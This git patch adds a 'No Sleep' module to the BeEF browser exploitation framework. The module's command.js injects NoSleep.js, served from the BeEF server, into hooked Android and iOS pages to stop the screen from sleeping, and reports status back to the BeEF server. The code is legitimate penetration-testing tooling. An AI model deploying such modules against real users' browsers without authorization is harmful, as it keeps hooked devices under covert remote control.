From 0234c548e5f1b99c45dbd888b07751e162ca251d Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 14 Jun 2016 19:30:56 +0000 Subject: [PATCH] Add NoSleep module --- modules/misc/nosleep/NoSleep.min.js | 2 ++ modules/misc/nosleep/command.js | 30 +++++++++++++++++++++++++++++ modules/misc/nosleep/config.yaml | 17 ++++++++++++++++ modules/misc/nosleep/module.rb | 22 +++++++++++++++++++++ modules/misc/nosleep/update-lib | 2 ++ 5 files changed, 73 insertions(+) create mode 100644 modules/misc/nosleep/NoSleep.min.js create mode 100644 modules/misc/nosleep/command.js create mode 100644 modules/misc/nosleep/config.yaml create mode 100644 modules/misc/nosleep/module.rb create mode 100755 modules/misc/nosleep/update-lib diff --git a/modules/misc/nosleep/NoSleep.min.js b/modules/misc/nosleep/NoSleep.min.js new file mode 100644 index 000000000..654e1d08a --- /dev/null +++ b/modules/misc/nosleep/NoSleep.min.js @@ -0,0 +1,2 @@ +// NoSleep.min.js v0.5.0 - git.io/vfn01 - Rich Tibbett - MIT license +!function(A){function e(A,e,o){var t=document.createElement("source");t.src=o,t.type="video/"+e,A.appendChild(t)}var o={Android:/Android/gi.test(navigator.userAgent),iOS:/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent)},t={WebM:"data:video/webm;base64,GkXfo0AgQoaBAUL3gQFC8oEEQvOBCEKCQAR3ZWJtQoeBAkKFgQIYU4BnQI0VSalmQCgq17FAAw9CQE2AQAZ3aGFtbXlXQUAGd2hhbW15RIlACECPQAAAAAAAFlSua0AxrkAu14EBY8WBAZyBACK1nEADdW5khkAFVl9WUDglhohAA1ZQOIOBAeBABrCBCLqBCB9DtnVAIueBAKNAHIEAAIAwAQCdASoIAAgAAUAmJaQAA3AA/vz0AAA=",MP4:"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAAG21kYXQAAAGzABAHAAABthADAowdbb9/AAAC6W1vb3YAAABsbXZoZAAAAAB8JbCAfCWwgAAAA+gAAAAAAAEAAAEAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIVdHJhawAAAFx0a2hkAAAAD3wlsIB8JbCAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAQAAAAAAIAAAACAAAAAABsW1kaWEAAAAgbWRoZAAAAAB8JbCAfCWwgAAAA+gAAAAAVcQAAAAAAC1oZGxyAAAAAAAAAAB2aWRlAAAAAAAAAAAAAAAAVmlkZW9IYW5kbGVyAAAAAVxtaW5mAAAAFHZtaGQAAAABAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAAEcc3RibAAAALhzdHNkAAAAAAAAAAEAAACobXA0dgAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAIAAgASAAAAEgAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAFJlc2RzAAAAAANEAAEABDwgEQAAAAADDUAAAAAABS0AAAGwAQAAAbWJEwAAAQAAAAEgAMSNiB9FAEQBFGMAAAGyTGF2YzUyLjg3LjQGAQIAAAAYc3R0cwAAAAAAAAABAAAAAQAAAAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAEAAAABAAAAFHN0c3oAAAAAAAAAEwAAAAEAAAAUc3RjbwAAAAAAAAABAAAALAAAAGB1ZHRhAAAAWG1ldGEAAAAAAAAAIWhkbHIAAAAAAAAAAG1kaXJhcHBsAAAAAAAAAAAAAAAAK2lsc3QAAAAjqXRvbwAAABtkYXRhAAAAAQAAAABMYXZmNTIuNzguMw=="},i=function(){return o.iOS?this.noSleepTimer=null:o.Android&&(this.noSleepVideo=document.createElement("video"),this.noSleepVideo.setAttribute("loop",""),e(this.noSleepVideo,"webm",t.WebM),e(this.noSleepVideo,"mp4",t.MP4)),this};i.prototype.enable=function(A){o.iOS?(this.disable(),this.noSleepTimer=window.setInterval(function(){window.location.href='/',window.setTimeout(window.stop,0)},A||15e3)):o.Android&&this.noSleepVideo.play()},i.prototype.disable=function(){o.iOS?this.noSleepTimer&&(window.clearInterval(this.noSleepTimer),this.noSleepTimer=null):o.Android&&this.noSleepVideo.pause()},A.NoSleep=i}(this); diff --git a/modules/misc/nosleep/command.js b/modules/misc/nosleep/command.js new file mode 100644 index 000000000..d60227c6c --- /dev/null +++ b/modules/misc/nosleep/command.js @@ -0,0 +1,30 @@ +// +// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + enableNoSleep = function() { + var noSleep = new NoSleep(); + noSleep.enable(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=NoSleep initiated'); + document.removeEventListener('touchstart', enableNoSleep, false); + } + + init = function() { + document.addEventListener('touchstart', enableNoSleep, false); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=waiting for user input'); + } + + if (typeof NoSleep == "undefined") { + var script = document.createElement('script'); + script.type = 'text/javascript'; + script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/NoSleep.js'; + $j("body").append(script); + setTimeout(init(), 5000); + } + +}); + diff --git a/modules/misc/nosleep/config.yaml b/modules/misc/nosleep/config.yaml new file mode 100644 index 000000000..bcc3edcc4 --- /dev/null +++ b/modules/misc/nosleep/config.yaml @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + no_sleep: + enable: true + category: "Misc" + name: "No Sleep" + description: "This module uses NoSleep.js to prevent display sleep and enable wake lock in any Android or iOS web browser." + authors: ["bcoles"] + target: + working: + ALL: + os: ["iOS", "Android"] diff --git a/modules/misc/nosleep/module.rb b/modules/misc/nosleep/module.rb new file mode 100644 index 000000000..6848b4eba --- /dev/null +++ b/modules/misc/nosleep/module.rb @@ -0,0 +1,22 @@ +# +# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class No_sleep < BeEF::Core::Command + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/nosleep/NoSleep.min.js','/NoSleep', 'js') + end + + def self.options + return [ + ] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('NoSleep.js') + save content + end +end diff --git a/modules/misc/nosleep/update-lib b/modules/misc/nosleep/update-lib new file mode 100755 index 000000000..5352d9afd --- /dev/null +++ b/modules/misc/nosleep/update-lib @@ -0,0 +1,2 @@ +#!/bin/sh +wget 'https://raw.githubusercontent.com/richtr/NoSleep.js/master/NoSleep.min.js' -O NoSleep.min.js